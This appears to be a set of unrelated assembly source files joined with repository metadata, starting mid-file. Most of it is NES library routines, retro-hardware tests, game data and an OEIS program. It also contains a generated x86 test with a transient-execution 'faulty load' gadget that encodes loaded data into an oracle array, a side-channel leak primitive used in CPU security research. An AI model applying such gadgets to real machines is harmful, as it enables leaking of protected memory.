active beq @no_triangle sta <BUF_4008 lda FT_SFX_BUF+7,x sta <BUF_400A lda FT_SFX_BUF+8,x sta <BUF_400B @no_triangle: lda <BUF_400C ;same as for pulse 1 and 2, but for noise and #$0f sta <FT_TEMP_VAR1 lda FT_SFX_BUF+9,x and #$0f cmp <FT_TEMP_VAR1 bcc @no_noise lda FT_SFX_BUF+9,x sta <BUF_400C lda FT_SFX_BUF+10,x sta <BUF_400E @no_noise: rts .endif ;void __fastcall__ pal_all(const char *data); _pal_all: sta <PTR stx <PTR+1 ldx #$00 lda #$20 pal_copy: sta <LEN ldy #$00 @0: lda (PTR),y sta PAL_BUF,x inx iny dec <LEN bne @0 inc <PAL_UPDATE rts ;void __fastcall__ pal_bg(const char *data); _pal_bg: sta <PTR stx <PTR+1 ldx #$00 lda #$10 bne pal_copy ;bra ;void __fastcall__ pal_spr(const char *data); _pal_spr: sta <PTR stx <PTR+1 ldx #$10 txa bne pal_copy ;bra ;void __fastcall__ pal_col(unsigned char index,unsigned char color); _pal_col: sta <PTR jsr popa and #$1f tax lda <PTR sta PAL_BUF,x inc <PAL_UPDATE rts ;void __fastcall__ pal_clear(void); _pal_clear: lda #$0f ldx #0 @1: sta PAL_BUF,x inx cpx #$20 bne @1 stx <PAL_UPDATE rts ;void __fastcall__ pal_spr_bright(unsigned char bright); _pal_spr_bright: tax lda palBrightTableL,x sta <PAL_SPR_PTR lda palBrightTableH,x ;MSB is never zero sta <PAL_SPR_PTR+1 sta <PAL_UPDATE rts ;void __fastcall__ pal_bg_bright(unsigned char bright); _pal_bg_bright: tax lda palBrightTableL,x sta <PAL_BG_PTR lda palBrightTableH,x ;MSB is never zero sta <PAL_BG_PTR+1 sta <PAL_UPDATE rts ;void __fastcall__ pal_bright(unsigned char bright); _pal_bright: jsr _pal_spr_bright txa jmp _pal_bg_bright ;void __fastcall__ ppu_off(void); _ppu_off: lda <PPU_MASK_VAR and #%11100111 sta <PPU_MASK_VAR jmp _ppu_wait_nmi ;void __fastcall__ ppu_on_all(void); _ppu_on_all: lda <PPU_MASK_VAR ora #%00011000 ppu_onoff: sta <PPU_MASK_VAR jmp _ppu_wait_nmi ;void __fastcall__ ppu_on_bg(void); _ppu_on_bg: lda <PPU_MASK_VAR ora #%00001000 bne ppu_onoff ;bra ;void __fastcall__ ppu_on_spr(void); _ppu_on_spr: lda <PPU_MASK_VAR ora #%00010000 bne ppu_onoff ;bra ;void __fastcall__ ppu_mask(unsigned char mask); _ppu_mask: sta <PPU_MASK_VAR rts ;unsigned char __fastcall__ ppu_system(void); _ppu_system: lda <NTSC_MODE rts ;void __fastcall__ oam_clear(void); _oam_clear: ldx #0 lda #$ff @1: sta OAM_BUF,x inx inx inx inx bne @1 rts ;void __fastcall__ oam_size(unsigned char size); _oam_size: asl a asl a asl a asl a asl a and #$20 sta <TEMP lda <PPU_CTRL_VAR and #$df ora <TEMP sta <PPU_CTRL_VAR rts ;unsigned char __fastcall__ oam_spr(unsigned char x,unsigned char y,unsigned char chrnum,unsigned char attr,unsigned char sprid); _oam_spr: tax ldy #0 ;four popa calls replacement lda (sp),y iny sta OAM_BUF+2,x lda (sp),y iny sta OAM_BUF+1,x lda (sp),y iny sta OAM_BUF+0,x lda (sp),y sta OAM_BUF+3,x lda <sp clc adc #4 sta <sp bcc @1 inc <sp+1 @1: txa clc adc #4 rts ;unsigned char __fastcall__ oam_meta_spr(unsigned char x,unsigned char y,unsigned char sprid,const unsigned char *data); _oam_meta_spr: sta <PTR stx <PTR+1 ldy #2 ;three popa calls replacement, performed in reversed order lda (sp),y dey sta <SCRX lda (sp),y dey sta <SCRY lda (sp),y tax @1: lda (PTR),y ;x offset cmp #$80 beq @2 iny clc adc <SCRX sta OAM_BUF+3,x lda (PTR),y ;y offset iny clc adc <SCRY sta OAM_BUF+0,x lda (PTR),y ;tile iny sta OAM_BUF+1,x lda (PTR),y ;attribute iny sta OAM_BUF+2,x inx inx inx inx jmp @1 @2: lda <sp adc #2 ;carry is always set here, so it adds 3 sta <sp bcc @3 inc <sp+1 @3: txa rts ;void __fastcall__ oam_hide_rest(unsigned char sprid); _oam_hide_rest: tax lda #240 @1: sta OAM_BUF,x inx inx inx inx bne @1 rts ;void __fastcall__ ppu_wait_frame(void); _ppu_wait_frame: lda #1 sta <VRAM_UPDATE lda <FRAME_CNT1 @1: cmp <FRAME_CNT1 beq @1 lda <NTSC_MODE beq @3 @2: lda <FRAME_CNT2 cmp #5 beq @2 @3: rts ;void __fastcall__ ppu_wait_nmi(void); _ppu_wait_nmi: lda #1 sta <VRAM_UPDATE lda <FRAME_CNT1 @1: cmp <FRAME_CNT1 beq @1 rts ;void __fastcall__ vram_unrle(const unsigned char *data); _vram_unrle: tay stx <RLE_HIGH lda #0 sta <RLE_LOW lda (RLE_LOW),y sta <RLE_TAG iny bne @1 inc <RLE_HIGH @1: lda (RLE_LOW),y iny bne @11 inc <RLE_HIGH @11: cmp <RLE_TAG beq @2 sta PPU_DATA sta <RLE_BYTE bne @1 @2: lda (RLE_LOW),y beq @4 iny bne @21 inc <RLE_HIGH @21: tax lda <RLE_BYTE @3: sta PPU_DATA dex bne @3 beq @1 @4: rts ;void __fastcall__ scroll(unsigned int x,unsigned int y); _scroll: sta <TEMP txa ; bne @1 lda <TEMP cmp #240 bcs @1 sta <SCROLL_Y lda #0 sta <TEMP beq @2 ;bra @1: sec lda <TEMP sbc #240 sta <SCROLL_Y lda #2 sta <TEMP @2: jsr popax sta <SCROLL_X txa and #$01 ora <TEMP sta <TEMP lda <PPU_CTRL_VAR and #$fc ora <TEMP sta <PPU_CTRL_VAR rts ;;void __fastcall__ split(unsigned int x,unsigned int y); _split: jsr popax sta <SCROLL_X1 txa and #$01 sta <TEMP lda <PPU_CTRL_VAR and #$fc ora <TEMP sta <PPU_CTRL_VAR1 @3: bit PPU_STATUS bvs @3 @4: bit PPU_STATUS bvc @4 ; Wait a few cycles to align with the *next* line. ; @cppchriscpp hack ldx #0 @looper: inx cpx #44 bne @looper lda <SCROLL_X1 sta PPU_SCROLL lda #0 sta PPU_SCROLL lda <PPU_CTRL_VAR1 sta PPU_CTRL rts ;;void __fastcall__ wait_for_sprite0_hit(); _wait_for_sprite0_hit: lda <PPU_CTRL_VAR and #$fc ora <TEMP sta <PPU_CTRL_VAR1 @3: bit PPU_STATUS bvs @3 @4: bit PPU_STATUS bvc @4 ; Wait a few cycles to align with the *next* line. ; @cppchriscpp hack ldx #0 @looper: inx cpx #44 bne @looper rts ;;void __fastcall__ split_y(unsigned int x,unsigned int y); ; Using na_tha_an's trickery for y scroll from here: https://forums.nesdev.com/viewtopic.php?f=2&t=16435 ; Thanks dude! ; Extract SCROLL_Y1, SCROLL_X1, WRITE1 from parameters. _split_y: sta <TEMP txa bne @1 lda <TEMP cmp #240 bcs @1 sta <SCROLL_Y1 lda #0 sta <TEMP beq @2 ;bra @1: sec lda <TEMP sbc #240 sta <SCROLL_Y1 lda #8 ;; Bit 3 sta <TEMP @2: jsr popax sta <SCROLL_X1 txa and #$01 asl a asl a ;; Bit 2 ora <TEMP ;; From Y sta <WRITE1 ;; Store! ; Calculate WRITE2 = ((Y & $F8) << 2) | (X >> 3) lda <SCROLL_Y1 and #$F8 asl a asl a sta <TEMP ;; TEMP = (Y & $F8) << 2 lda <SCROLL_X1 lsr a lsr a lsr a ;; A = (X >> 3) ora <TEMP ;; A = (X >> 3) | ((Y & $F8) << 2) sta <WRITE2 ;; Store! ; Wait for sprite 0 hit @3: bit PPU_STATUS bvs @3 @4: bit PPU_STATUS bvc @4 ; Wait a few cycles to align with the *next* line. ; @cppchriscpp hack ldx #0 @looper: inx cpx #44 bne @looper ; Set scroll value lda PPU_STATUS lda <WRITE1 sta PPU_ADDR lda <SCROLL_Y1 sta PPU_SCROLL lda <SCROLL_X1 ldx <WRITE2 sta PPU_SCROLL stx PPU_ADDR rts ;void __fastcall__ bank_spr(unsigned char n); _bank_spr: and #$01 asl a asl a asl a sta <TEMP lda <PPU_CTRL_VAR and #%11110111 ora <TEMP sta <PPU_CTRL_VAR rts ;void __fastcall__ bank_bg(unsigned char n); _bank_bg: and #$01 asl a asl a asl a asl a sta <TEMP lda <PPU_CTRL_VAR and #%11101111 ora <TEMP sta <PPU_CTRL_VAR rts ;void __fastcall__ vram_read(unsigned char *dst,unsigned int size); _vram_read: sta <TEMP stx <TEMP+1 jsr popax sta <TEMP+2 stx <TEMP+3 lda PPU_DATA ldy #0 @1: lda PPU_DATA sta (TEMP+2),y inc <TEMP+2 bne @2 inc <TEMP+3 @2: lda <TEMP bne @3 dec <TEMP+1 @3: dec <TEMP lda <TEMP ora <TEMP+1 bne @1 rts ;void __fastcall__ vram_write(unsigned char *src,unsigned int size); _vram_write: sta <TEMP stx <TEMP+1 jsr popax sta <TEMP+2 stx <TEMP+3 ldy #0 @1: lda (TEMP+2),y sta PPU_DATA inc <TEMP+2 bne @2 inc <TEMP+3 @2: lda <TEMP bne @3 dec <TEMP+1 @3: dec <TEMP lda <TEMP ora <TEMP+1 bne @1 rts ;void __fastcall__ music_play(unsigned char song); _music_play: ; @cppchriscpp Edit - forcing a swap to the music bank ; Need to temporarily swap banks to pull this off. tax ; Put our song into x for a moment... ; Being extra careful and setting BP_BANK to ours in case an nmi fires while we're doing this. lda BP_BANK pha lda #SOUND_BANK sta BP_BANK mmc1_register_write MMC1_PRG txa ; bring back the song number! ldx #<music_data stx <ft_music_addr+0 ldx #>music_data stx <ft_music_addr+1 ldx <NTSC_MODE jsr ft_music_init lda #1 sta <MUSIC_PLAY ; Remember when we stored the old bank into BP_BANK and swapped? Time to roll back. pla sta BP_BANK mmc1_register_write MMC1_PRG rts _music_play_nonstop: jmp _music_play ; @cppchriscpp Edit - forcing a swap to the music bank ; @cppchriscpp Edit 2 - Duplicating this function to not stop the music on swap when called this way. Same signature ; Need to temporarily swap banks to pull this off. tax ; Put our song into x for a moment... ; Being extra careful and setting BP_BANK to ours in case an nmi fires while we're doing this. lda BP_BANK pha lda #SOUND_BANK sta BP_BANK mmc1_register_write MMC1_PRG txa ; bring back the song number! ldx #<music_data stx <ft_music_addr+0 ldx #>music_data stx <ft_music_addr+1 ldx <NTSC_MODE jsr ft_music_init_b lda #1 sta <MUSIC_PLAY ; Remember when we stored the old bank into BP_BANK and swapped? Time to roll back. pla sta BP_BANK mmc1_register_write MMC1_PRG rts ;void __fastcall__ music_stop(void); _music_stop: ldx #<music_dummy_data stx <ft_music_addr+0 ldx #>music_dummy_data stx <ft_music_addr+1 lda #0 ldx <NTSC_MODE jsr ft_music_init lda #0 sta <MUSIC_PLAY rts ;void __fastcall__ music_pause(unsigned char pause); _music_pause: inc <MUSIC_PLAY rts ;void __fastcall__ sfx_play(unsigned char sound,unsigned char channel); _sfx_play: .if(FT_SFX_ENABLE) ; TODO: Should I be blocking interrupts while doing weird bank stuff? ; @cppchriscpp Edit - forcing a swap to the music bank ; Need to temporarily swap banks to pull this off. tay ; Put our song into y for a moment... ; Being extra careful and setting BP_BANK to ours in case an nmi fires while we're doing this. lda BP_BANK pha lda #SOUND_BANK sta BP_BANK mmc1_register_write MMC1_PRG tya ; bring back the song number! and #$03 tax lda @sfxPriority,x tax jsr popa jsr FamiToneSfxPlay ; Remember when we stored the old bank into BP_BANK and swapped? Time to roll back. pla sta BP_BANK mmc1_register_write MMC1_PRG rts @sfxPriority: .byte FT_SFX_CH0,FT_SFX_CH1,FT_SFX_CH2,FT_SFX_CH3 .else rts .endif ;unsigned char __fastcall__ pad_poll(unsigned char pad); _pad_poll: tay ldx #0 @padPollPort: lda #1 sta CTRL_PORT1 lda #0 sta CTRL_PORT1 lda #8 sta <TEMP @padPollLoop: lda CTRL_PORT1,y lsr a ror <PAD_BUF,x dec <TEMP bne @padPollLoop inx cpx #3 bne @padPollPort lda <PAD_BUF cmp <PAD_BUF+1 beq @done cmp <PAD_BUF+2 beq @done lda <PAD_BUF+1 @done: sta <PAD_STATE,y tax eor <PAD_STATEP,y and <PAD_STATE ,y sta <PAD_STATET,y txa sta <PAD_STATEP,y rts ;unsigned char __fastcall__ pad_trigger(unsigned char pad); _pad_trigger: pha jsr _pad_poll pla tax lda <PAD_STATET,x rts ;unsigned char __fastcall__ pad_state(unsigned char pad); _pad_state: tax lda <PAD_STATE,x rts ;unsigned char __fastcall__ rand8(void); ;Galois random generator, found somewhere ;out: A random number 0..255 rand1: lda <RAND_SEED asl a bcc @1 eor #$cf @1: sta <RAND_SEED rts rand2: lda <RAND_SEED+1 asl a bcc @1 eor #$d7 @1: sta <RAND_SEED+1 rts _rand8: jsr rand1 jsr rand2 adc <RAND_SEED rts ;unsigned int __fastcall__ rand16(void); _rand16: jsr rand1 tax jsr rand2 rts ;void __fastcall__ set_rand(unsigned char seed); _set_rand: sta <RAND_SEED stx <RAND_SEED+1 rts ;void __fastcall__ set_vram_update(unsigned char *buf); _set_vram_update: sta <NAME_UPD_ADR+0 stx <NAME_UPD_ADR+1 ora <NAME_UPD_ADR+1 sta <NAME_UPD_ENABLE rts ;void __fastcall__ flush_vram_update(unsigned char *buf); _flush_vram_update: sta <NAME_UPD_ADR+0 stx <NAME_UPD_ADR+1 _flush_vram_update_nmi: ldy #0 @updName: lda (NAME_UPD_ADR),y iny cmp #$40 ;is it a non-sequental write? bcs @updNotSeq sta PPU_ADDR lda (NAME_UPD_ADR),y iny sta PPU_ADDR lda (NAME_UPD_ADR),y iny sta PPU_DATA jmp @updName @updNotSeq: tax lda <PPU_CTRL_VAR cpx #$80 ;is it a horizontal or vertical sequence? bcc @updHorzSeq cpx #$ff ;is it end of the update? beq @updDone @updVertSeq: ora #$04 bne @updNameSeq ;bra @updHorzSeq: and #$fb @updNameSeq: sta PPU_CTRL txa and #$3f sta PPU_ADDR lda (NAME_UPD_ADR),y iny sta PPU_ADDR lda (NAME_UPD_ADR),y iny tax @updNameLoop: lda (NAME_UPD_ADR),y iny sta PPU_DATA dex bne @updNameLoop lda <PPU_CTRL_VAR sta PPU_CTRL jmp @updName @updDone: rts ;void __fastcall__ vram_adr(unsigned int adr); _vram_adr: stx PPU_ADDR sta PPU_ADDR rts ;void __fastcall__ vram_put(unsigned char n); _vram_put: sta PPU_DATA rts ;void __fastcall__ vram_fill(unsigned char n,unsigned int len); _vram_fill: sta <LEN stx <LEN+1 jsr popa ldx <LEN+1 beq @2 ldx #0 @1: sta PPU_DATA dex bne @1 dec <LEN+1 bne @1 @2: ldx <LEN beq @4 @3: sta PPU_DATA dex bne @3 @4: rts ;void __fastcall__ vram_inc(unsigned char n); _vram_inc: ora #0 beq @1 lda #$04 @1: sta <TEMP lda <PPU_CTRL_VAR and #$fb ora <TEMP sta <PPU_CTRL_VAR sta PPU_CTRL rts ;void __fastcall__ memcpy(void *dst,void *src,unsigned int len); _memcpy: sta <LEN stx <LEN+1 jsr popax sta <SRC stx <SRC+1 jsr popax sta <DST stx <DST+1 ldx #0 @1: lda <LEN+1 beq @2 jsr @3 dec <LEN+1 inc <SRC+1 inc <DST+1 jmp @1 @2: ldx <LEN beq @5 @3: ldy #0 @4: lda (SRC),y sta (DST),y iny dex bne @4 @5: rts ;void __fastcall__ memfill(void *dst,unsigned char value,unsigned int len); _memfill: sta <LEN stx <LEN+1 jsr popa sta <TEMP jsr popax sta <DST stx <DST+1 ldx #0 @1: lda <LEN+1 beq @2 jsr @3 dec <LEN+1 inc <DST+1 jmp @1 @2: ldx <LEN beq @5 @3: ldy #0 lda <TEMP @4: sta (DST),y iny dex bne @4 @5: rts ;void __fastcall__ delay(unsigned char frames); _delay: tax @1: jsr _ppu_wait_nmi dex bne @1 rts ;void __fastcall__ reset(); _reset: jmp _exit palBrightTableL: .byte <palBrightTable0,<palBrightTable1,<palBrightTable2 .byte <palBrightTable3,<palBrightTable4,<palBrightTable5 .byte <palBrightTable6,<palBrightTable7,<palBrightTable8 palBrightTableH: .byte >palBrightTable0,>palBrightTable1,>palBrightTable2 .byte >palBrightTable3,>palBrightTable4,>palBrightTable5 .byte >palBrightTable6,>palBrightTable7,>palBrightTable8 palBrightTable0: .byte $0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f ;black palBrightTable1: .byte $0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f palBrightTable2: .byte $0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f palBrightTable3: .byte $0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f palBrightTable4: .byte $00,$01,$02,$03,$04,$05,$06,$07,$08,$09,$0a,$0b,$0c,$0f,$0f,$0f ;normal colors palBrightTable5: .byte $10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$1a,$1b,$1c,$00,$00,$00 palBrightTable6: .byte $10,$21,$22,$23,$24,$25,$26,$27,$28,$29,$2a,$2b,$2c,$10,$10,$10 ;$10 because $20 is the same as $30 palBrightTable7: .byte $30,$31,$32,$33,$34,$35,$36,$37,$38,$39,$3a,$3b,$3c,$20,$20,$20 palBrightTable8: .byte $30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30 ;white .byte $30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30 .byte $30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30 .byte $30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30,$30 ; .include "famitone2.s"
14.024324
129
0.693236
ef7fa8811802b2051790e3970ae64a0042bdd79c
570
asm
Assembly
8088/refresh_test/address.asm
reenigne/reenigne
c3eb8b31d7964e78bbe44908987d4be052a74488
[ "Unlicense" ]
92
2015-04-10T17:45:11.000Z
2022-03-30T17:58:51.000Z
8088/refresh_test/address.asm
MS-DOS-stuff/reenigne
0a113990aef398550c6f14d1c7a33af1cb091887
[ "Unlicense" ]
2
2017-11-05T07:21:35.000Z
2018-11-04T23:36:13.000Z
8088/refresh_test/address.asm
MS-DOS-stuff/reenigne
0a113990aef398550c6f14d1c7a33af1cb091887
[ "Unlicense" ]
18
2015-04-11T20:32:44.000Z
2021-11-06T05:19:57.000Z
%include "../defaults_com.asm" main: mov ax,cs mov ds,ax print "Test starting",10 cli mov cx,512 cld xor si,si loopA: mov al,[si] inc si loop loopA refreshOff mov cx,0x1000 loopTop: times 512 nop loop loopTop1 jmp loopDone loopTop1: jmp loopTop loopDone: refreshOn mov cx,512*18 cld xor si,si loopB: mov al,[si] inc si loop loopB sti mov cx,400 loopTop2: in al,0x00 mov ah,al in al,0x00 xchg ah,al printHex printCharacter 32 loop loopTop2 print "Test complete",10 mov ax,0x4c00 int 0x21
10.363636
32
0.652632
da062c3b5fc09eeb31afd34d8a8d3639d3a3950f
201
asm
Assembly
data/wildPokemon/route10.asm
longlostsoul/EvoYellow
fe5d0d372c4e90d384c4005a93f19d7968f2ff13
[ "Unlicense" ]
16
2018-08-28T21:47:01.000Z
2022-02-20T20:29:59.000Z
data/wildPokemon/route10.asm
longlostsoul/EvoYellow
fe5d0d372c4e90d384c4005a93f19d7968f2ff13
[ "Unlicense" ]
5
2019-04-03T19:53:11.000Z
2022-03-11T22:49:34.000Z
data/wildPokemon/route10.asm
longlostsoul/EvoYellow
fe5d0d372c4e90d384c4005a93f19d7968f2ff13
[ "Unlicense" ]
2
2019-12-09T19:46:02.000Z
2020-12-05T21:36:30.000Z
Route10Mons: db $0F db 16,ELECTABUZZ;day db 18,MAGNEMITE db 18,MAGNEMITE db 20,MAREEP;day db 17,NIDORAN_M db 17,NIDORAN_F db 22,MAREEP ;day db 20,RATICATE db 16,MACHOP db 18,MACHOP db $00
13.4
21
0.726368
95c49ac7a70e86e55ebc57fc27ef2665850b1ea8
1,851
asm
Assembly
src/play/bitmap_tiles.asm
1888games/golf
5078fc0699e5f91a53761cc30526b510d49e955c
[ "BSD-2-Clause" ]
1
2022-02-13T16:09:18.000Z
2022-02-13T16:09:18.000Z
src/play/bitmap_tiles.asm
1888games/golf
5078fc0699e5f91a53761cc30526b510d49e955c
[ "BSD-2-Clause" ]
null
null
null
src/play/bitmap_tiles.asm
1888games/golf
5078fc0699e5f91a53761cc30526b510d49e955c
[ "BSD-2-Clause" ]
null
null
null
; Top-hole Golf ; Copyright 2020-2021 Matthew Clarke bmap_tiles_c_BEGIN = * ; ***************** ; *** CONSTANTS *** ; ***************** ; NOTE: no need for any of this stuff to be in video RAM. It's just copied ; straight over to the bitmap. ; 18 tiles, each 8 bytes in size. ;BMAP_TILES_FG_TREES ; !bin "../../assets/tiles/fg_mc_tree_tiles.bin" BMAP_TILES_BG_TREES ; !bin "../../assets/tiles/bg_tree_tiles.bin" ; !bin "../../assets/tiles/bg_trees.bin" ;BMAP_TILES_BG_POPLARS ; !bin "../../assets/tiles/bg_poplar_tree_tiles.bin" ; ***************** ; *** VARIABLES *** ; ***************** ; ******************* ; ****** MACROS ***** ; ******************* ; ******************* ; *** SUBROUTINES *** ; ******************* ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** ; ************************************************** bmap_tiles_c_SIZE = *-bmap_tiles_c_BEGIN
29.380952
75
0.223123
3e4e0197e8165ea05b0c1aaafde440abb12361b6
388
asm
Assembly
oeis/051/A051197.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/051/A051197.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/051/A051197.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A051197: T(2n+4,n), array T as in A050186; a count of aperiodic binary words. ; Submitted by Jon Maiga ; 0,6,24,120,480,2002,7952,31824,125760,497420,1960464,7726160,30418752,119759850,471424160,1855967520,7307828352,28781143380,113380093840,446775310800,1761038703424,6943526580276,27385654785504 mov $1,$0 add $0,4 mov $2,$0 add $0,$1 bin $0,$2 add $1,2 dif $2,2 bin $1,$2 sub $0,$1
27.714286
194
0.75
01e0efb258ad932561dcce72429760a856ad2f8e
7,659
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1509.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1509.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_21829_1509.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x2529, %rsi lea addresses_normal_ht+0x19789, %rdi nop add %r8, %r8 mov $106, %rcx rep movsb nop nop nop dec %r12 lea addresses_WC_ht+0x8f89, %r9 clflush (%r9) nop add $41059, %r14 movl $0x61626364, (%r9) nop nop nop nop dec %r8 lea addresses_WT_ht+0xda71, %rsi lea addresses_A_ht+0xad89, %rdi nop nop nop nop add %rbx, %rbx mov $95, %rcx rep movsl nop nop nop nop inc %r14 lea addresses_A_ht+0x12469, %rsi lea addresses_normal_ht+0x16789, %rdi cmp %r12, %r12 mov $101, %rcx rep movsq nop cmp $2600, %rbx lea addresses_normal_ht+0x17e75, %rdi nop nop nop nop and $53379, %r9 movw $0x6162, (%rdi) nop nop cmp $30269, %r12 lea addresses_WC_ht+0x168a9, %rsi lea addresses_UC_ht+0x15838, %rdi nop nop nop nop add $704, %r14 mov $20, %rcx rep movsw inc %r14 lea addresses_WT_ht+0xb389, %rsi lea addresses_WT_ht+0x17789, %rdi nop nop nop dec %r8 mov $3, %rcx rep movsb cmp %rsi, %rsi lea addresses_A_ht+0x1c189, %rcx nop nop nop and %r9, %r9 mov (%rcx), %rdi nop xor $62125, %rdi lea addresses_A_ht+0x64a7, %r8 nop nop nop sub %r14, %r14 movb (%r8), %cl nop nop xor $18022, %rcx lea addresses_A_ht+0x16ffd, %rcx nop nop nop nop dec %r9 mov $0x6162636465666768, %rbx movq %rbx, %xmm3 movups %xmm3, (%rcx) nop nop sub $40891, %rdi lea addresses_A_ht+0x4151, %rdi xor $37748, %r12 mov $0x6162636465666768, %rsi movq %rsi, (%rdi) nop and $52178, %r9 lea addresses_WT_ht+0x16161, %rsi nop xor $19712, %rcx mov (%rsi), %edi nop nop nop nop nop xor %rsi, %rsi lea addresses_normal_ht+0x1cd71, %rsi nop add $58991, %r14 movb (%rsi), %r9b nop nop nop nop and %rcx, %rcx lea addresses_UC_ht+0xeb14, %r12 nop nop nop dec %rsi movw $0x6162, (%r12) add $48703, %rcx lea addresses_D_ht+0x155c9, %rsi lea addresses_normal_ht+0x19d09, %rdi nop nop nop nop add %rbx, %rbx mov $37, %rcx rep movsb nop inc %r8 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r13 push %r15 push %r8 push %rdi push %rsi // Faulty Load lea addresses_A+0x1eb89, %r15 nop nop nop sub %r13, %r13 mov (%r15), %r8d lea oracles, %r13 and $0xff, %r8 shlq $12, %r8 mov (%r13,%r8,1), %r8 pop %rsi pop %rdi pop %r8 pop %r15 pop %r13 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_A'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 5, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 5, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': True, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 1, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 1, 'AVXalign': False, 'same': True, 'size': 4, 'NT': True, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 